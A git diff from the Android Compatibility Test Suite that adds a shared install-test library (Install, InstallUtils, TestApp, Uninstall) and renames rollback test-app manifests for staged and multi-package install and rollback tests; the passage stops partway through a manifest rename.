+++ b/hostsidetests/usb/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsUsbTests.jar" />
     </test>
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
new file mode 100644
index 0000000..5ca15ae
--- /dev/null
+++ b/libs/install/Android.bp
@@ -0,0 +1,97 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_test_helper_app {
+    name: "TestAppAv1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+    name: "TestAppAv2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppAv3",
+    manifest: "testapp/Av3.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v3"],
+}
+
+android_test_helper_app {
+    name: "TestAppACrashingV2",
+    manifest: "testapp/ACrashingV2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppBv1",
+    manifest: "testapp/Bv1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+    name: "TestAppBv2",
+    manifest: "testapp/Bv2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppASplitV1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+    package_splits: ["anydpi"],
+}
+
+android_test_helper_app {
+    name: "TestAppASplitV2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+    package_splits: ["anydpi"],
+}
+
+java_library {
+    name: "cts-install-lib",
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt"],
+    sdk_version: "test_current",
+    java_resources: [
+        ":TestAppAv1",
+        ":TestAppAv2",
+	":TestAppAv3",
+        ":TestAppBv1",
+        ":TestAppBv2",
+	":TestAppACrashingV2",
+	":TestAppASplitV1",
+	":TestAppASplitV2",
+    ],
+}
diff --git a/libs/install/TEST_MAPPING b/libs/install/TEST_MAPPING
new file mode 100644
index 0000000..abe4a1a
--- /dev/null
+++ b/libs/install/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+  "imports": [
+    {
+      "path": "cts/tests/rollback"
+    },
+    {
+      "path": "cts/hostsidetests/rollback"
+    },
+    {
+      "path": "cts/lib/rollback"
+    }
+  ]
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
new file mode 100644
index 0000000..4ea91a1
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * Builder class for installing test apps and creating install sessions.
+ */
+public class Install {
+    // The collection of apps to be installed with parameters inherited from parent Install object.
+    private final TestApp[] mTestApps;
+    // The collection of apps to be installed with parameters independent of parent Install object.
+    private final Install[] mChildInstalls;
+    // Indicates whether Install represents a multiPackage install.
+    private final boolean mIsMultiPackage;
+    // PackageInstaller.Session parameters.
+    private boolean mIsStaged = false;
+    private boolean mIsDowngrade = false;
+    private boolean mEnableRollback = false;
+    private int mSessionMode = PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+    private Install(boolean isMultiPackage, TestApp... testApps) {
+        mIsMultiPackage = isMultiPackage;
+        mTestApps = testApps;
+        mChildInstalls = new Install[0];
+    }
+
+    private Install(boolean isMultiPackage, Install... installs) {
+        mIsMultiPackage = isMultiPackage;
+        mTestApps = new TestApp[0];
+        mChildInstalls = installs;
+    }
+
+    /**
+     * Creates an Install builder to install a single package.
+     */
+    public static Install single(TestApp testApp) {
+        return new Install(false, testApp);
+    }
+
+    /**
+     * Creates an Install builder to install using multiPackage.
+     */
+    public static Install multi(TestApp... testApps) {
+        return new Install(true, testApps);
+    }
+
+    /**
+     * Creates an Install builder from separate Install builders. The newly created builder
+     * will be responsible for building the parent session, while each one of the other builders
+     * will be responsible for building one of the child sessions.
+     *
+     * <p>Modifications to the parent install are not propagated to the child installs,
+     * and vice versa. This gives more control over a multi install session,
+     * e.g. can setStaged on a subset of the child sessions or setStaged on a child session but
+     * not on the parent session.
+     *
+     * <p>It's encouraged to use {@link #multi} that receives {@link TestApp}s
+     * instead of {@link Install}s. This variation of {@link #multi} should be used only if it's
+     * necessary to modify parameters in a subset of the installed sessions.
+     */
+    public static Install multi(Install... installs) {
+        for (Install childInstall : installs) {
+            assertThat(childInstall.isMultiPackage()).isFalse();
+        }
+        Install install = new Install(true, installs);
+        return install;
+    }
+
+    /**
+     * Makes the install a staged install.
+     */
+    public Install setStaged() {
+        mIsStaged = true;
+        return this;
+    }
+
+    /**
+     * Marks the install as a downgrade.
+     */
+    public Install setRequestDowngrade() {
+        mIsDowngrade = true;
+        return this;
+    }
+
+    /**
+     * Enables rollback for the install.
+     */
+    public Install setEnableRollback() {
+        mEnableRollback = true;
+        return this;
+    }
+
+    /**
+     * Sets the session mode {@link PackageInstaller.SessionParams#MODE_INHERIT_EXISTING}.
+     * If it's not set, then the default session mode is
+     * {@link PackageInstaller.SessionParams#MODE_FULL_INSTALL}
+     */
+    public Install setSessionMode(int sessionMode) {
+        mSessionMode = sessionMode;
+        return this;
+    }
+
+    /**
+     * Commits the install.
+     *
+     * @return the session id of the install session, if the session is successful.
+     * @throws AssertionError if the install doesn't succeed.
+     */
+    public int commit() throws IOException, InterruptedException {
+        int sessionId = createSession();
+        PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
+        session.commit(LocalIntentSender.getIntentSender());
+        Intent result = LocalIntentSender.getIntentSenderResult();
+        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                PackageInstaller.STATUS_FAILURE);
+        if (status == -1) {
+            throw new AssertionError("PENDING USER ACTION");
+        } else if (status > 0) {
+            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+        }
+
+        if (mIsStaged) {
+            InstallUtils.waitForSessionReady(sessionId);
+        }
+        return sessionId;
+    }
+
+    /**
+     * Kicks off an install flow by creating an install session
+     * and, in the case of a multiPackage install, child install sessions.
+     *
+     * @return the session id of the install session, if the session is successful.
+     */
+    public int createSession() throws IOException {
+        int sessionId;
+        if (isMultiPackage()) {
+            PackageInstaller.Session session;
+            sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
+            session = InstallUtils.openPackageInstallerSession(sessionId);
+            for (Install subInstall : mChildInstalls) {
+                session.addChildSessionId(subInstall.createSession());
+            }
+            for (TestApp testApp : mTestApps) {
+                session.addChildSessionId(createSingleInstallSession(testApp));
+            }
+        } else {
+            assert mTestApps.length == 1;
+            sessionId = createSingleInstallSession(mTestApps[0]);
+        }
+        return sessionId;
+    }
+
+    /**
+     * Creates an empty install session with appropriate install params set.
+     *
+     * @return the session id of the newly created session
+     */
+    private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
+            throws IOException {
+        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(mSessionMode);
+        if (multiPackage) {
+            params.setMultiPackage();
+        }
+        if (isApex) {
+            params.setInstallAsApex();
+        }
+        if (mIsStaged) {
+            params.setStaged();
+        }
+        params.setRequestDowngrade(mIsDowngrade);
+        params.setEnableRollback(mEnableRollback);
+        return InstallUtils.getPackageInstaller().createSession(params);
+    }
+
+    /**
+     * Creates an install session for the given test app.
+     *
+     * @return the session id of the newly created session.
+     */
+    private int createSingleInstallSession(TestApp app) throws IOException {
+        int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
+        PackageInstaller.Session session = InstallUtils.getPackageInstaller()
+                .openSession(sessionId);
+
+        ClassLoader loader = TestApp.class.getClassLoader();
+        for (String resourceName : app.getResourceNames()) {
+            try (OutputStream os = session.openWrite(resourceName, 0, -1);
+                 InputStream is = loader.getResourceAsStream(resourceName);) {
+                if (is == null) {
+                    throw new IOException("Resource " + resourceName + " not found");
+                }
+                byte[] buffer = new byte[4096];
+                int n;
+                while ((n = is.read(buffer)) >= 0) {
+                    os.write(buffer, 0, n);
+                }
+            }
+        }
+        session.close();
+        return sessionId;
+    }
+
+    private boolean isMultiPackage() {
+        return mIsMultiPackage;
+    }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
new file mode 100644
index 0000000..82e0cb1
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/**
+ * Utilities to facilitate installation in tests.
+ */
+public class InstallUtils {
+    /**
+     * Adopts the given shell permissions.
+     */
+    public static void adoptShellPermissionIdentity(String... permissions) {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(permissions);
+    }
+
+    /**
+     * Drops all shell permissions.
+     */
+    public static void dropShellPermissionIdentity() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+    /**
+     * Returns the version of the given package installed on device.
+     * Returns -1 if the package is not currently installed.
+     */
+    public static long getInstalledVersion(String packageName) {
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager pm = context.getPackageManager();
+        try {
+            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+            return info.getLongVersionCode();
+        } catch (PackageManager.NameNotFoundException e) {
+            return -1;
+        }
+    }
+
+    /**
+     * Waits for the given session to be marked as ready.
+     * Throws an assertion if the session fails.
+     */
+    public static void waitForSessionReady(int sessionId) {
+        BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
+        BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                PackageInstaller.SessionInfo info =
+                        intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+                if (info != null && info.getSessionId() == sessionId) {
+                    if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+                        try {
+                            sessionStatus.put(info);
+                        } catch (InterruptedException e) {
+                            throw new AssertionError(e);
+                        }
+                    }
+                }
+            }
+        };
+        IntentFilter sessionUpdatedFilter =
+                new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
+
+        Context context = InstrumentationRegistry.getContext();
+        context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
+
+        PackageInstaller installer = getPackageInstaller();
+        PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
+
+        try {
+            if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+                sessionStatus.put(info);
+            }
+
+            info = sessionStatus.take();
+            context.unregisterReceiver(sessionUpdatedReceiver);
+            if (info.isStagedSessionFailed()) {
+                throw new AssertionError(info.getStagedSessionErrorMessage());
+            }
+        } catch (InterruptedException e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    /**
+     * Returns the info for the given package name.
+     */
+    public static PackageInfo getPackageInfo(String packageName) {
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager pm = context.getPackageManager();
+        try {
+            return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+        } catch (PackageManager.NameNotFoundException e) {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the PackageInstaller instance of the current {@code Context}
+     */
+    public static PackageInstaller getPackageInstaller() {
+        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+    }
+
+    /**
+     * Returns an existing session to actively perform work.
+     * {@see PackageInstaller#openSession}
+     */
+    public static PackageInstaller.Session openPackageInstallerSession(int sessionId)
+            throws IOException {
+        return getPackageInstaller().openSession(sessionId);
+    }
+
+    /**
+     * Asserts that {@code result} intent has a success status.
+     */
+    public static void assertStatusSuccess(Intent result) {
+        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                PackageInstaller.STATUS_FAILURE);
+        if (status == -1) {
+            throw new AssertionError("PENDING USER ACTION");
+        } else if (status > 0) {
+            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+        }
+    }
+
+    /**
+     * Commits {@link Install} but expects to fail.
+     *
+     * @param expectedThrowableClass class or superclass of the expected throwable.
+     *
+     */
+    public static void commitExpectingFailure(Class expectedThrowableClass,
+            String expectedFailMessage, Install install) {
+        assertThrows(expectedThrowableClass, expectedFailMessage, () -> install.commit());
+    }
+
+    private static final String NO_RESPONSE = "NO RESPONSE";
+
+    /**
+     * Calls into the test app to process user data.
+     * Asserts if the user data could not be processed or was version
+     * incompatible with the previously processed user data.
+     */
+    public static void processUserData(String packageName) {
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(packageName,
+                "com.android.cts.install.lib.testapp.ProcessUserData"));
+        Context context = InstrumentationRegistry.getContext();
+
+        HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
+        handlerThread.start();
+
+        // It can sometimes take a while after rollback before the app will
+        // receive this broadcast, so try a few times in a loop.
+        String result = NO_RESPONSE;
+        for (int i = 0; result.equals(NO_RESPONSE) && i < 5; ++i) {
+            BlockingQueue<String> resultQueue = new LinkedBlockingQueue<>();
+            context.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (getResultCode() == 1) {
+                        resultQueue.add("OK");
+                    } else {
+                        // If the test app doesn't receive the broadcast or
+                        // fails to set the result data, then getResultData
+                        // here returns the initial NO_RESPONSE data passed to
+                        // the sendOrderedBroadcast call.
+                        resultQueue.add(getResultData());
+                    }
+                }
+            }, new Handler(handlerThread.getLooper()), 0, NO_RESPONSE, null);
+
+            try {
+                result = resultQueue.take();
+            } catch (InterruptedException e) {
+                throw new AssertionError(e);
+            }
+        }
+
+        assertThat(result).isEqualTo("OK");
+    }
+
+    /**
+     * Checks whether the given package is installed on /system and was not updated.
+     */
+    static boolean isSystemAppWithoutUpdate(String packageName) {
+        PackageInfo pi = getPackageInfo(packageName);
+        if (pi == null) {
+            return false;
+        } else {
+            return ((pi.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0)
+                    && ((pi.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 0);
+        }
+    }
+
+    /**
+     * A functional interface representing an operation that takes no arguments,
+     * returns no arguments and might throw a {@link Throwable} of any kind.
+     */
+    @FunctionalInterface
+    private interface Operation {
+        /**
+         * This is the method that gets called for any object that implements this interface.
+         */
+        void run() throws Throwable;
+    }
+
+    /**
+     * Runs {@link Operation} and expects a {@link Throwable} of the given class to be thrown.
+     *
+     * @param expectedThrowableClass class or superclass of the expected throwable.
+     */
+    private static void assertThrows(Class expectedThrowableClass, String expectedFailMessage,
+            Operation operation) {
+        try {
+            operation.run();
+        } catch (Throwable expected) {
+            assertThat(expectedThrowableClass.isAssignableFrom(expected.getClass())).isTrue();
+            assertThat(expected.getMessage()).containsMatch(expectedFailMessage);
+            return;
+        }
+        fail("Operation was expected to fail!");
+    }
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
similarity index 88%
rename from hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
rename to libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index d4b3f48..cf2abe8 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.tests.stagedinstall;
+package com.android.cts.install.lib;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -29,8 +29,13 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.LinkedBlockingQueue;
 
+/**
+ * Helper for making IntentSenders whose results are sent back to the test
+ * app.
+ */
 public class LocalIntentSender extends BroadcastReceiver {
-    private static final String TAG = "StagedInstallTest";
+    private static final String TAG = "cts.install.lib";
+
     private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
 
     @Override
@@ -42,7 +47,7 @@
     /**
      * Get a LocalIntentSender.
      */
-    static IntentSender getIntentSender() {
+    public static IntentSender getIntentSender() {
         Context context = InstrumentationRegistry.getContext();
         Intent intent = new Intent(context, LocalIntentSender.class);
         PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
@@ -52,7 +57,7 @@
     /**
      * Returns the most recent Intent sent by a LocalIntentSender.
      */
-    static Intent getIntentSenderResult() throws InterruptedException {
+    public static Intent getIntentSenderResult() throws InterruptedException {
         Intent intent = sIntentSenderResults.take();
         Log.i(TAG, "Taking intent " + prettyPrint(intent));
         return intent;
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
new file mode 100644
index 0000000..95acb95
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.pm.VersionedPackage;
+
+/**
+ * Collection of dummy apps used in tests.
+ */
+public class TestApp {
+    public static final String A = "com.android.cts.install.lib.testapp.A";
+    public static final String B = "com.android.cts.install.lib.testapp.B";
+    public static final String Apex = "com.android.apex.cts.shim";
+    public static final String NotPreInstalledApex = "com.android.apex.cts.shim_not_pre_installed";
+
+    // Apk collection
+    public static final TestApp A1 = new TestApp("Av1", A, 1, /*isApex*/false,
+            "TestAppAv1.apk");
+    public static final TestApp A2 = new TestApp("Av2", A, 2, /*isApex*/false,
+            "TestAppAv2.apk");
+    public static final TestApp A3 = new TestApp("Av3", A, 3, /*isApex*/false,
+            "TestAppAv3.apk");
+    public static final TestApp ACrashing2 = new TestApp("ACrashingV2", A, 2, /*isApex*/false,
+            "TestAppACrashingV2.apk");
+    public static final TestApp ASplit1 = new TestApp("ASplitV1", A, 1, /*isApex*/false,
+            "TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
+    public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
+            "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+
+    public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
+            "TestAppBv1.apk");
+    public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
+            "TestAppBv2.apk");
+
+    // Apex collection
+    public static final TestApp Apex2 =
+            new TestApp("Apex2", Apex, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2.apex");
+    public static final TestApp ApexWrongSha2 = new TestApp(
+            "ApexWrongSha2", Apex, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2_wrong_sha.apex");
+    public static final TestApp Apex3 =
+            new TestApp("Apex3", Apex, 3, /*isApex*/true,
+            "com.android.apex.cts.shim.v3.apex");
+    public static final TestApp ApexNotPreInstalled =
+            new TestApp("ApexNotPreInstalled", NotPreInstalledApex, 3, /*isApex*/true,
+            "com.android.apex.cts.shim_not_pre_installed.apex");
+
+    private final String mName;
+    private final String mPackageName;
+    private final long mVersionCode;
+    private final String[] mResourceNames;
+    private final boolean mIsApex;
+
+    public TestApp(String name, String packageName, long versionCode, boolean isApex,
+            String... resourceNames) {
+        mName = name;
+        mPackageName = packageName;
+        mVersionCode = versionCode;
+        mResourceNames = resourceNames;
+        mIsApex = isApex;
+    }
+
+    public String getPackageName() {
+        return mPackageName;
+    }
+
+    public long getVersionCode() {
+        return mVersionCode;
+    }
+
+    public VersionedPackage getVersionedPackage() {
+        return new VersionedPackage(mPackageName, mVersionCode);
+    }
+
+    @Override
+    public String toString() {
+        return mName;
+    }
+
+    boolean isApex() {
+        return mIsApex;
+    }
+
+    String[] getResourceNames() {
+        return mResourceNames;
+    }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
new file mode 100644
index 0000000..0444130
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Helper class for uninstalling test apps.
+ */
+public class Uninstall {
+    /**
+     * Uninstalls all of the given packages.
+     * Does nothing if the package is not installed or installed on /system
+     */
+    public static void packages(String... packageNames) throws InterruptedException {
+        for (String pkg : packageNames) {
+            uninstallSinglePackage(pkg);
+        }
+    }
+
+    private static void uninstallSinglePackage(String packageName) throws InterruptedException {
+        // No need to uninstall if the package isn't installed.
+        if (InstallUtils.getInstalledVersion(packageName) == -1
+                || InstallUtils.isSystemAppWithoutUpdate(packageName)) {
+            return;
+        }
+
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager packageManager = context.getPackageManager();
+        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
+        InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+    }
+}
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/ACrashingV2.xml
similarity index 63%
copy from libs/rollback/testapp/A2.xml
copy to libs/install/testapp/ACrashingV2.xml
index d879a91..338a5b9 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -15,18 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
+    package="com.android.cts.install.lib.testapp.A"
     android:versionCode="2"
     android:versionName="2.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A2">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App A v2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+                  android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+              <action android:name="android.intent.action.MAIN" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Av1.xml
similarity index 77%
copy from libs/rollback/testapp/A1.xml
copy to libs/install/testapp/Av1.xml
index 2cd1825..e9714fc 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -15,15 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
+    package="com.android.cts.install.lib.testapp.A"
     android:versionCode="1"
     android:versionName="1.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App A1">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+                  android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A2.xml b/libs/install/testapp/Av2.xml
similarity index 78%
rename from libs/rollback/testapp/A2.xml
rename to libs/install/testapp/Av2.xml
index d879a91..fd8afa0 100644
--- a/libs/rollback/testapp/A2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -15,15 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
+    package="com.android.cts.install.lib.testapp.A"
     android:versionCode="2"
     android:versionName="2.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A2">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App A2">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Av3.xml
similarity index 73%
copy from libs/rollback/testapp/A1.xml
copy to libs/install/testapp/Av3.xml
index 2cd1825..a7839e3 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/libs/install/testapp/Av3.xml
@@ -15,15 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
+    package="com.android.cts.install.lib.testapp.A"
+    android:versionCode="3"
+    android:versionName="3.0" >
 
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application android:label="Test App A3">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+            android:exported="true" />
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/libs/rollback/testapp/A1.xml b/libs/install/testapp/Bv1.xml
similarity index 78%
rename from libs/rollback/testapp/A1.xml
rename to libs/install/testapp/Bv1.xml
index 2cd1825..403e7e2 100644
--- a/libs/rollback/testapp/A1.xml
